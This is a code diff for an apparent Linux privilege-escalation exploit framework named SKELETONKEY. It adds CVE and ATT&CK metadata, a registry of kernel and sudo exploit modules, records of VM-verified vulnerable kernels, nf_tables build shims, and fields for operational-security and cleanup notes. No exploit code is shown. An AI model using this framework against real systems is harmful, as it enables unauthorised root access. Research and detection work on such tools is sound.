+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2026-46243",
+        .cwe                 = "CWE-20",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2026-46300",
+        .cwe                 = "CWE-787",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+    {
+        .cve                 = "CVE-2026-46333",
+        .cwe                 = "CWE-269",
+        .attack_technique    = "T1068",
+        .attack_subtechnique = NULL,
+        .in_kev              = false,
+        .kev_date_added      = "",
+    },
+};
+
+const size_t cve_metadata_table_len =
+    sizeof(cve_metadata_table) / sizeof(cve_metadata_table[0]);
+
+const struct cve_metadata *cve_metadata_lookup(const char *cve)
+{
+    if (!cve) return NULL;
+    for (size_t i = 0; i < cve_metadata_table_len; i++) {
+        if (strcmp(cve_metadata_table[i].cve, cve) == 0)
+            return &cve_metadata_table[i];
+    }
+    return NULL;
+}

core/cve_metadata.h

@@ -0,0 +1,43 @@
+/*
+ * SKELETONKEY — CVE metadata lookup
+ *
+ * Per-CVE annotations sourced from authoritative federal databases:
+ *   - CISA Known Exploited Vulnerabilities catalog (in_kev, date_added)
+ *   - NVD CVE API (cwe)
+ *   - Hand-curated MITRE ATT&CK technique mapping
+ *
+ * Kept separate from struct skeletonkey_module because these are
+ * properties of the CVE (one CVE -> one set of values), not the
+ * exploit module. Two modules covering the same CVE see the same
+ * metadata. The OPSEC notes — which vary by exploit technique —
+ * stay on the module struct.
+ *
+ * The table is auto-generated from docs/CVE_METADATA.json by
+ * tools/refresh-cve-metadata.py. Do not hand-edit cve_metadata.c —
+ * re-run the refresh tool.
+ */
+
+#ifndef SKELETONKEY_CVE_METADATA_H
+#define SKELETONKEY_CVE_METADATA_H
+
+#include <stdbool.h>
+#include <stddef.h>
+
+struct cve_metadata {
+    const char *cve;                  /* "CVE-YYYY-NNNNN" */
+    const char *cwe;                  /* "CWE-NNN" or NULL if NVD has no mapping */
+    const char *attack_technique;     /* "T1068" etc. */
+    const char *attack_subtechnique;  /* "T1068.001" or NULL */
+    bool        in_kev;               /* true iff in CISA's KEV catalog */
+    const char *kev_date_added;       /* "YYYY-MM-DD" or "" */
+};
+
+/* The full table. Length is `cve_metadata_table_len`. */
+extern const struct cve_metadata cve_metadata_table[];
+extern const size_t              cve_metadata_table_len;
+
+/* Lookup by CVE id (e.g. "CVE-2024-1086"). Returns NULL if the CVE
+ * isn't in the table. Cheap linear scan; we have <100 entries. */
+const struct cve_metadata *cve_metadata_lookup(const char *cve);
+
+#endif /* SKELETONKEY_CVE_METADATA_H */

core/host.c

@@ -190,6 +190,7 @@ static void populate_caps(struct skeletonkey_host *h)
 	h->apparmor_restrict_userns    = false;
 	h->unprivileged_bpf_disabled   = false;
 	h->kpti_enabled                = false;
+	h->meltdown_mitigation[0]      = '\0';
 	h->kernel_lockdown_active      = false;
 	h->selinux_enforcing           = false;
 	h->yama_ptrace_restricted      = false;
@@ -208,8 +209,17 @@ static void populate_caps(struct skeletonkey_host *h)
 		h->yama_ptrace_restricted = (v > 0);
 
 	char buf[256];
-	if (read_first_line("/sys/devices/system/cpu/vulnerabilities/meltdown", buf, sizeof buf))
+	if (read_first_line("/sys/devices/system/cpu/vulnerabilities/meltdown", buf, sizeof buf)) {
 		h->kpti_enabled = (strstr(buf, "Mitigation: PTI") != NULL);
+		/* Stash the raw value so modules that need richer matching
+		 * (e.g. entrybleed distinguishing "Not affected" CPUs from
+		 * "Vulnerable" / "Mitigation: PTI") don't re-read sysfs. */
+		size_t L = strlen(buf);
+		if (L >= sizeof h->meltdown_mitigation)
+			L = sizeof h->meltdown_mitigation - 1;
+		memcpy(h->meltdown_mitigation, buf, L);
+		h->meltdown_mitigation[L] = '\0';
+	}
 
 	/* /sys/kernel/security/lockdown format: "[none] integrity confidentiality"
 	 * — whichever level is bracketed is the active one. */

core/host.h

@@ -61,6 +61,11 @@ struct skeletonkey_host {
 	bool apparmor_restrict_userns;    /* sysctl: 1 = AA blocks unpriv userns */
 	bool unprivileged_bpf_disabled;   /* /proc/sys/kernel/unprivileged_bpf_disabled = 1 */
 	bool kpti_enabled;                /* /sys/.../meltdown contains "Mitigation: PTI" */
+	char meltdown_mitigation[64];     /* raw first line of
+	                                   * /sys/devices/system/cpu/vulnerabilities/meltdown
+	                                   * — empty string if unreadable. Modules that need
+	                                   * to distinguish "Not affected" (CPU immune) from
+	                                   * "Mitigation: PTI" / "Vulnerable" can read this. */
 	bool kernel_lockdown_active;      /* /sys/kernel/security/lockdown != [none] */
 	bool selinux_enforcing;           /* /sys/fs/selinux/enforce = 1 */
 	bool yama_ptrace_restricted;      /* /proc/sys/kernel/yama/ptrace_scope > 0 */

core/module.h

@@ -104,6 +104,46 @@ struct skeletonkey_module {
     const char *detect_sigma;    /* sigma YAML content */
     const char *detect_yara;     /* yara rules content */
     const char *detect_falco;    /* falco rules content */
+
+    /* Operational-security notes — telemetry footprint THIS specific
+     * exploit leaves behind. The inverse of detect_auditd/yara/falco
+     * above (the rules catch what these notes describe). Free-form
+     * prose, conventionally listing: dmesg lines triggered, auditd
+     * events, file artifacts created/modified, persistence side-
+     * effects, recommended cleanup. Per-module (not per-CVE) because
+     * different exploits for the same bug can leave different
+     * footprints. NULL if no analysis written yet.
+     *
+     * NB: ATT&CK / CWE / KEV metadata is properties of the CVE itself
+     * (independent of exploit technique) and lives in
+     * core/cve_metadata.{h,c} — looked up by CVE id, refreshed via
+     * tools/refresh-cve-metadata.py. */
+    const char *opsec_notes;
+
+    /* Architecture support for the exploit() body. detect() works on
+     * any Linux arch (it just consults ctx->host); the question this
+     * field answers is: if this module says VULNERABLE, will the
+     * --exploit path actually fire on aarch64 / arm64? Values:
+     *
+     *   "any"            — userspace bug or arch-agnostic kernel
+     *                      primitive (pwnkit, sudo*, pack2theroot,
+     *                      dirty_pipe, dirty_cow, most netfilter/fs
+     *                      bugs that use msg_msg sprays + structural
+     *                      escapes).
+     *   "x86_64"         — strictly x86-only (entrybleed needs
+     *                      prefetchnta + KPTI, which doesn't apply
+     *                      to ARM's TTBR_EL0/EL1 model).
+     *   "x86_64+unverified-arm64" — exploit body likely works on
+     *                      arm64 but hasn't been verified on a real
+     *                      arm64 host yet (e.g. copy_fail_family
+     *                      assumes some x86_64 struct offsets;
+     *                      --full-chain finisher uses x86_64-style
+     *                      kernel ROP gadgets).
+     *
+     * NULL = unmapped (treat as "x86_64+unverified-arm64" by default;
+     * a future arm64-on-Vagrant sweep will fill these in). Surfaced
+     * in --list (ARCH column) and --module-info. */
+    const char *arch_support;
 };
 
 #endif /* SKELETONKEY_MODULE_H */

core/nft_compat.h

@@ -0,0 +1,98 @@
+/*
+ * SKELETONKEY — nf_tables uapi compat shims.
+ *
+ * Older distro kernel headers (e.g. Ubuntu 20.04's linux-libc-dev ships
+ * the 5.4 uapi; Debian 11 ships 5.10) don't define every nft attribute
+ * or chain flag the exploits use. The numeric values are stable kernel
+ * ABI — the target kernel understands them at runtime regardless of
+ * what was present in the build host's uapi headers. Conditionally
+ * define them here so modules compile against any reasonable header set.
+ *
+ * Sources for the numeric values:
+ *   include/uapi/linux/netfilter/nf_tables.h in mainline at the kernel
+ *   version that introduced each enum.
+ *
+ * Include AFTER <linux/netfilter/nf_tables.h>.
+ */
+
+#ifndef SKELETONKEY_NFT_COMPAT_H
+#define SKELETONKEY_NFT_COMPAT_H
+
+#include <linux/netfilter/nf_tables.h>
+
+/* ── chain flags ─────────────────────────────────────────────────── */
+
+/* NFT_CHAIN_HW_OFFLOAD: kernel 5.5 (commit be0b86e0594d). Needed by
+ * nft_fwd_dup_cve_2022_25636. */
+#ifndef NFT_CHAIN_HW_OFFLOAD
+#define NFT_CHAIN_HW_OFFLOAD  0x2
+#endif
+
+/* NFT_CHAIN_BINDING: kernel 5.9 (commit d164385ec572). */
+#ifndef NFT_CHAIN_BINDING
+#define NFT_CHAIN_BINDING     0x4
+#endif
+
+/* ── chain attrs ─────────────────────────────────────────────────── */
+
+/* NFTA_CHAIN_FLAGS: kernel 5.7 (commit 65038428b2c6). Ubuntu 18.04's
+ * 4.15-era uapi lacks it. Position 10 in the enum
+ * (NFTA_CHAIN_TABLE=1..NFTA_CHAIN_USERDATA=9, NFTA_CHAIN_FLAGS=10). */
+#ifndef NFTA_CHAIN_FLAGS
+#define NFTA_CHAIN_FLAGS      10
+#endif
+
+/* NFTA_CHAIN_ID: kernel 5.13 (commit 837830a4b439). */
+#ifndef NFTA_CHAIN_ID
+#define NFTA_CHAIN_ID         11
+#endif
+
+/* ── verdict attrs ──────────────────────────────────────────────── */
+
+/* NFTA_VERDICT_CHAIN_ID: kernel 5.14 (commit 4ed8eb6570a4). Needed by
+ * nf_tables_cve_2024_1086. */
+#ifndef NFTA_VERDICT_CHAIN_ID
+#define NFTA_VERDICT_CHAIN_ID 3   /* CODE=1, CHAIN=2, CHAIN_ID=3 */
+#endif
+
+/* ── set attrs ──────────────────────────────────────────────────── */
+
+/* NFTA_SET_DESC_CONCAT: kernel 5.6 (commit 8aeff38e08d2 — concat sets). */
+#ifndef NFTA_SET_DESC_CONCAT
+#define NFTA_SET_DESC_CONCAT  2   /* DESC_SIZE=1, DESC_CONCAT=2 */
+#endif
+
+/* NFTA_SET_EXPR: kernel 5.12 (commit 65038428b2c6 — anon expr on sets). */
+#ifndef NFTA_SET_EXPR
+#define NFTA_SET_EXPR         13
+#endif
+
+/* NFTA_SET_EXPRESSIONS: kernel 5.16 (commit 48b0ae046ed4). */
+#ifndef NFTA_SET_EXPRESSIONS
+#define NFTA_SET_EXPRESSIONS  14
+#endif
+
+/* ── set-element attrs ──────────────────────────────────────────── */
+
+/* NFTA_SET_ELEM_KEY_END: kernel 5.6 (commit 7b225d0b5c5b). */
+#ifndef NFTA_SET_ELEM_KEY_END
+#define NFTA_SET_ELEM_KEY_END 7
+#endif
+
+/* NFTA_SET_ELEM_EXPRESSIONS: kernel 5.16 (commit 48b0ae046ed4). */
+#ifndef NFTA_SET_ELEM_EXPRESSIONS
+#define NFTA_SET_ELEM_EXPRESSIONS 11
+#endif
+
+/* ── data attrs (newer additions tend to be backported uneven) ──── */
+
+/* Make sure NFTA_DATA_VERDICT and friends exist — present since 3.13;
+ * here only as a tripwire if a very old header somehow lacks them. */
+#ifndef NFTA_DATA_VERDICT
+#define NFTA_DATA_VERDICT     2
+#endif
+#ifndef NFTA_DATA_VALUE
+#define NFTA_DATA_VALUE       1
+#endif
+
+#endif /* SKELETONKEY_NFT_COMPAT_H */

core/registry.c

@@ -3,6 +3,11 @@
  *
  * Simple flat array. Resized in chunks of 16. We never expect more
  * than a few dozen modules, so this is fine.
+ *
+ * The canonical "register every family" enumeration lives in
+ * registry_all.c — kept separate so this file links into the
+ * standalone kernel_range unit-test binary without pulling in every
+ * module's symbol.
  */
 
 #include "registry.h"

core/registry.h

@@ -47,5 +47,24 @@ void skeletonkey_register_vmwgfx(void);
 void skeletonkey_register_dirtydecrypt(void);
 void skeletonkey_register_fragnesia(void);
 void skeletonkey_register_pack2theroot(void);
+void skeletonkey_register_sudo_chwoot(void);
+void skeletonkey_register_udisks_libblockdev(void);
+void skeletonkey_register_pintheft(void);
+void skeletonkey_register_mutagen_astronomy(void);
+void skeletonkey_register_sudo_runas_neg1(void);
+void skeletonkey_register_tioscpgrp(void);
+void skeletonkey_register_vsock_uaf(void);
+void skeletonkey_register_nft_pipapo(void);
+void skeletonkey_register_ptrace_pidfd(void);
+void skeletonkey_register_sudo_host(void);
+void skeletonkey_register_cifswitch(void);
+void skeletonkey_register_nft_catchall(void);
+
+/* Call every skeletonkey_register_<family>() above in canonical order.
+ * Single source of truth so the main binary and the test binary stay
+ * in sync — adding a new module is one register_* declaration here
+ * and one call inside skeletonkey_register_all_modules() in
+ * core/registry.c (the test harness picks it up automatically). */
+void skeletonkey_register_all_modules(void);
 
 #endif /* SKELETONKEY_REGISTRY_H */

core/registry_all.c

@@ -0,0 +1,58 @@
+/*
+ * SKELETONKEY — canonical "register every module family" enumeration.
+ *
+ * Kept in its own translation unit so registry.c stays standalone:
+ * the kernel_range unit-test binary links registry.c (for the basic
+ * register / count / find API) without pulling in every module's
+ * symbol. The main binary and detect-integration test link this
+ * file too and get the full lineup.
+ *
+ * Adding a new module is one new register_<family>() declaration in
+ * registry.h plus one call below — the integration test picks it up
+ * via skeletonkey_register_all_modules() in its main().
+ */
+
+#include "registry.h"
+
+void skeletonkey_register_all_modules(void)
+{
+    skeletonkey_register_copy_fail_family();
+    skeletonkey_register_dirty_pipe();
+    skeletonkey_register_entrybleed();
+    skeletonkey_register_pwnkit();
+    skeletonkey_register_nf_tables();
+    skeletonkey_register_overlayfs();
+    skeletonkey_register_cls_route4();
+    skeletonkey_register_dirty_cow();
+    skeletonkey_register_ptrace_traceme();
+    skeletonkey_register_netfilter_xtcompat();
+    skeletonkey_register_af_packet();
+    skeletonkey_register_fuse_legacy();
+    skeletonkey_register_stackrot();
+    skeletonkey_register_af_packet2();
+    skeletonkey_register_cgroup_release_agent();
+    skeletonkey_register_overlayfs_setuid();
+    skeletonkey_register_nft_set_uaf();
+    skeletonkey_register_af_unix_gc();
+    skeletonkey_register_nft_fwd_dup();
+    skeletonkey_register_nft_payload();
+    skeletonkey_register_sudo_samedit();
+    skeletonkey_register_sequoia();
+    skeletonkey_register_sudoedit_editor();
+    skeletonkey_register_vmwgfx();
+    skeletonkey_register_dirtydecrypt();
+    skeletonkey_register_fragnesia();
+    skeletonkey_register_pack2theroot();
+    skeletonkey_register_sudo_chwoot();
+    skeletonkey_register_udisks_libblockdev();
+    skeletonkey_register_pintheft();
+    skeletonkey_register_mutagen_astronomy();
+    skeletonkey_register_sudo_runas_neg1();
+    skeletonkey_register_tioscpgrp();
+    skeletonkey_register_vsock_uaf();
+    skeletonkey_register_nft_pipapo();
+    skeletonkey_register_ptrace_pidfd();
+    skeletonkey_register_sudo_host();
+    skeletonkey_register_cifswitch();
+    skeletonkey_register_nft_catchall();
+}

core/verifications.c

@@ -0,0 +1,329 @@
+/*
+ * SKELETONKEY — verification records table
+ *
+ * AUTO-GENERATED by tools/refresh-verifications.py from
+ * docs/VERIFICATIONS.jsonl. Do not hand-edit; rerun the script.
+ *
+ * Source: tools/verify-vm/verify.sh appends one JSON record per
+ * run; this generator dedupes to (module, vm_box, kernel, expect)
+ * and keeps the latest by verified_at.
+ */
+
+#include "verifications.h"
+
+#include <stddef.h>
+#include <string.h>
+#include <stdbool.h>
+
+const struct verification_record verifications[] = {
+    {
+        .module        = "af_packet",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "4.15.0-213-generic",
+        .host_distro   = "Ubuntu 18.04.6 LTS",
+        .vm_box        = "generic/ubuntu1804",
+        .expect_detect = "OK",
+        .actual_detect = "OK",
+        .status        = "match",
+    },
+    {
+        .module        = "af_packet2",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.4.0-169-generic",
+        .host_distro   = "Ubuntu 20.04.6 LTS",
+        .vm_box        = "generic/ubuntu2004",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "af_unix_gc",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.15.5-051505-generic",
+        .host_distro   = "Ubuntu 22.04.3 LTS",
+        .vm_box        = "generic/ubuntu2204",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "cgroup_release_agent",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.10.0-27-amd64",
+        .host_distro   = "Debian GNU/Linux 11 (bullseye)",
+        .vm_box        = "generic/debian11",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "cls_route4",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.15.0-43-generic",
+        .host_distro   = "Ubuntu 20.04.6 LTS",
+        .vm_box        = "generic/ubuntu2004",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "dirty_pipe",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.15.0-91-generic",
+        .host_distro   = "Ubuntu 22.04.3 LTS",
+        .vm_box        = "generic/ubuntu2204",
+        .expect_detect = "OK",
+        .actual_detect = "OK",
+        .status        = "match",
+    },
+    {
+        .module        = "dirtydecrypt",
+        .verified_at   = "2026-05-24",
+        .host_kernel   = "6.19.7-061907-generic",
+        .host_distro   = "Ubuntu 22.04.3 LTS",
+        .vm_box        = "generic/ubuntu2204",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "entrybleed",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.15.0-91-generic",
+        .host_distro   = "Ubuntu 22.04.3 LTS",
+        .vm_box        = "generic/ubuntu2204",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "fuse_legacy",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.10.0-27-amd64",
+        .host_distro   = "Debian GNU/Linux 11 (bullseye)",
+        .vm_box        = "generic/debian11",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "netfilter_xtcompat",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.10.0-27-amd64",
+        .host_distro   = "Debian GNU/Linux 11 (bullseye)",
+        .vm_box        = "generic/debian11",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "nf_tables",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.15.5-051505-generic",
+        .host_distro   = "Ubuntu 22.04.3 LTS",
+        .vm_box        = "generic/ubuntu2204",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "nft_fwd_dup",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.10.0-27-amd64",
+        .host_distro   = "Debian GNU/Linux 11 (bullseye)",
+        .vm_box        = "generic/debian11",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "nft_payload",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.15.0-43-generic",
+        .host_distro   = "Ubuntu 20.04.6 LTS",
+        .vm_box        = "generic/ubuntu2004",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "nft_pipapo",
+        .verified_at   = "2026-05-24",
+        .host_kernel   = "5.15.5-051505-generic",
+        .host_distro   = "Ubuntu 22.04.3 LTS",
+        .vm_box        = "generic/ubuntu2204",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "nft_set_uaf",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.15.5-051505-generic",
+        .host_distro   = "Ubuntu 22.04.3 LTS",
+        .vm_box        = "generic/ubuntu2204",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "overlayfs",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.4.0-169-generic",
+        .host_distro   = "Ubuntu 20.04.6 LTS",
+        .vm_box        = "generic/ubuntu2004",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "overlayfs_setuid",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.15.0-91-generic",
+        .host_distro   = "Ubuntu 22.04.3 LTS",
+        .vm_box        = "generic/ubuntu2204",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "pack2theroot",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "6.1.0-17-amd64",
+        .host_distro   = "Debian GNU/Linux 12 (bookworm)",
+        .vm_box        = "generic/debian12",
+        .expect_detect = "PRECOND_FAIL",
+        .actual_detect = "PRECOND_FAIL",
+        .status        = "match",
+    },
+    {
+        .module        = "ptrace_traceme",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "4.15.0-213-generic",
+        .host_distro   = "Ubuntu 18.04.6 LTS",
+        .vm_box        = "generic/ubuntu1804",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "pwnkit",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.4.0-169-generic",
+        .host_distro   = "Ubuntu 20.04.6 LTS",
+        .vm_box        = "generic/ubuntu2004",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "sequoia",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.4.0-169-generic",
+        .host_distro   = "Ubuntu 20.04.6 LTS",
+        .vm_box        = "generic/ubuntu2004",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "stackrot",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "6.1.10-060110-generic",
+        .host_distro   = "Ubuntu 22.04.3 LTS",
+        .vm_box        = "generic/ubuntu2204",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "sudo_chwoot",
+        .verified_at   = "2026-05-24",
+        .host_kernel   = "5.15.0-91-generic",
+        .host_distro   = "Ubuntu 22.04.3 LTS",
+        .vm_box        = "generic/ubuntu2204",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "sudo_runas_neg1",
+        .verified_at   = "2026-05-24",
+        .host_kernel   = "4.15.0-213-generic",
+        .host_distro   = "Ubuntu 18.04.6 LTS",
+        .vm_box        = "generic/ubuntu1804",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "sudo_samedit",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "4.15.0-213-generic",
+        .host_distro   = "Ubuntu 18.04.6 LTS",
+        .vm_box        = "generic/ubuntu1804",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "sudoedit_editor",
+        .verified_at   = "2026-05-23",
+        .host_kernel   = "5.15.0-91-generic",
+        .host_distro   = "Ubuntu 22.04.3 LTS",
+        .vm_box        = "generic/ubuntu2204",
+        .expect_detect = "PRECOND_FAIL",
+        .actual_detect = "PRECOND_FAIL",
+        .status        = "match",
+    },
+    {
+        .module        = "tioscpgrp",
+        .verified_at   = "2026-05-24",
+        .host_kernel   = "5.4.0-26-generic",
+        .host_distro   = "Ubuntu 20.04.6 LTS",
+        .vm_box        = "generic/ubuntu2004",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+    {
+        .module        = "udisks_libblockdev",
+        .verified_at   = "2026-05-24",
+        .host_kernel   = "6.1.0-17-amd64",
+        .host_distro   = "Debian GNU/Linux 12 (bookworm)",
+        .vm_box        = "generic/debian12",
+        .expect_detect = "VULNERABLE",
+        .actual_detect = "VULNERABLE",
+        .status        = "match",
+    },
+};
+
+const size_t verifications_count =
+    sizeof(verifications) / sizeof(verifications[0]);
+
+const struct verification_record *
+verifications_for_module(const char *module, size_t *count_out)
+{
+    if (count_out) *count_out = 0;
+    if (!module) return NULL;
+    const struct verification_record *first = NULL;
+    size_t n = 0;
+    for (size_t i = 0; i < verifications_count; i++) {
+        if (strcmp(verifications[i].module, module) == 0) {
+            if (first == NULL) first = &verifications[i];
+            n++;
+        }
+    }
+    if (count_out) *count_out = n;
+    return first;
+}
+
+bool verifications_module_has_match(const char *module)
+{
+    size_t n = 0;
+    const struct verification_record *r = verifications_for_module(module, &n);
+    for (size_t i = 0; i < n; i++)
+        if (r[i].status && strcmp(r[i].status, "match") == 0)
+            return true;
+    return false;
+}

core/verifications.h

@@ -0,0 +1,52 @@
+/*
+ * SKELETONKEY — per-module verification records
+ *
+ * "Verified-on" entries — concrete (distro, kernel, date) tuples where
+ * tools/verify-vm/verify.sh has empirically confirmed a module's
+ * detect() verdict against a known-vulnerable target. Each entry is one
+ * row from docs/VERIFICATIONS.jsonl, auto-generated into the C table
+ * by tools/refresh-verifications.py.
+ *
+ * Modules with >=1 record carry an empirical-trust badge ("✓ verified
+ * on Ubuntu 20.04.6 / 5.4.0") in --list / --module-info / --explain
+ * output. Modules with zero records are still tested at the unit level
+ * (synthetic fingerprints), but have not yet been confirmed on a real
+ * vulnerable kernel.
+ *
+ * Append-only by intent: each verify.sh run appends a fresh JSONL line
+ * (timestamped); the refresh script dedupes to (module, vm_box,
+ * kernel, expect_detect) when generating the C table so re-runs of the
+ * same scenario update rather than accumulate.
+ */
+
+#ifndef SKELETONKEY_VERIFICATIONS_H
+#define SKELETONKEY_VERIFICATIONS_H
+
+#include <stdbool.h>
+#include <stddef.h>
+
+struct verification_record {
+    const char *module;          /* module name (matches struct skeletonkey_module.name) */
+    const char *verified_at;     /* "YYYY-MM-DD" (date-only; full timestamp truncated) */
+    const char *host_kernel;     /* uname -r value, e.g. "5.4.0-169-generic" */
+    const char *host_distro;     /* /etc/os-release PRETTY_NAME, e.g. "Ubuntu 20.04.6 LTS" */
+    const char *vm_box;          /* vagrant box name, e.g. "generic/ubuntu2004" */
+    const char *expect_detect;   /* "VULNERABLE" / "OK" / "PRECOND_FAIL" — what targets.yaml said */
+    const char *actual_detect;   /* what skeletonkey --explain returned */
+    const char *status;          /* "match" iff actual == expected; otherwise "MISMATCH" */
+};
+
+extern const struct verification_record verifications[];
+extern const size_t                      verifications_count;
+
+/* Returns the first record (count via *count_out) for the named module,
+ * or NULL if the module has no recorded verifications. The records are
+ * stored contiguously in the table, so once you have the pointer you
+ * can iterate count_out entries forward. */
+const struct verification_record *
+verifications_for_module(const char *module, size_t *count_out);
+
+/* True iff the module has at least one "match" record. */
+bool verifications_module_has_match(const char *module);
+
+#endif /* SKELETONKEY_VERIFICATIONS_H */

docs/CVE_METADATA.json

@@ -0,0 +1,344 @@
+[
+  {
+    "cve": "CVE-2016-5195",
+    "module_dir": "dirty_cow_cve_2016_5195",
+    "cwe": "CWE-362",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": true,
+    "kev_date_added": "2022-03-03"
+  },
+  {
+    "cve": "CVE-2017-7308",
+    "module_dir": "af_packet_cve_2017_7308",
+    "cwe": "CWE-681",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2018-14634",
+    "module_dir": "mutagen_astronomy_cve_2018_14634",
+    "cwe": "CWE-190",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": true,
+    "kev_date_added": "2026-01-26"
+  },
+  {
+    "cve": "CVE-2019-13272",
+    "module_dir": "ptrace_traceme_cve_2019_13272",
+    "cwe": null,
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": true,
+    "kev_date_added": "2021-12-10"
+  },
+  {
+    "cve": "CVE-2019-14287",
+    "module_dir": "sudo_runas_neg1_cve_2019_14287",
+    "cwe": "CWE-755",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2020-14386",
+    "module_dir": "af_packet2_cve_2020_14386",
+    "cwe": "CWE-250",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2020-29661",
+    "module_dir": "tioscpgrp_cve_2020_29661",
+    "cwe": "CWE-416",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2021-22555",
+    "module_dir": "netfilter_xtcompat_cve_2021_22555",
+    "cwe": "CWE-787",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": true,
+    "kev_date_added": "2025-10-06"
+  },
+  {
+    "cve": "CVE-2021-3156",
+    "module_dir": "sudo_samedit_cve_2021_3156",
+    "cwe": "CWE-193",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": true,
+    "kev_date_added": "2022-04-06"
+  },
+  {
+    "cve": "CVE-2021-33909",
+    "module_dir": "sequoia_cve_2021_33909",
+    "cwe": "CWE-190",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": false,
+    "kev_date_added": ""
+  },
+  {
+    "cve": "CVE-2021-3493",
+    "module_dir": "overlayfs_cve_2021_3493",
+    "cwe": "CWE-270",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": true,
+    "kev_date_added": "2022-10-20"
+  },
+  {
+    "cve": "CVE-2021-4034",
+    "module_dir": "pwnkit_cve_2021_4034",
+    "cwe": "CWE-787",
+    "attack_technique": "T1068",
+    "attack_subtechnique": null,
+    "in_kev": true,
+    "kev_date_added": "2022-06-27"
+  },
+  {
+    "cve": "CVE-2022-0185",
+    "module_dir": "fuse_legacy_cve_2022_0185",
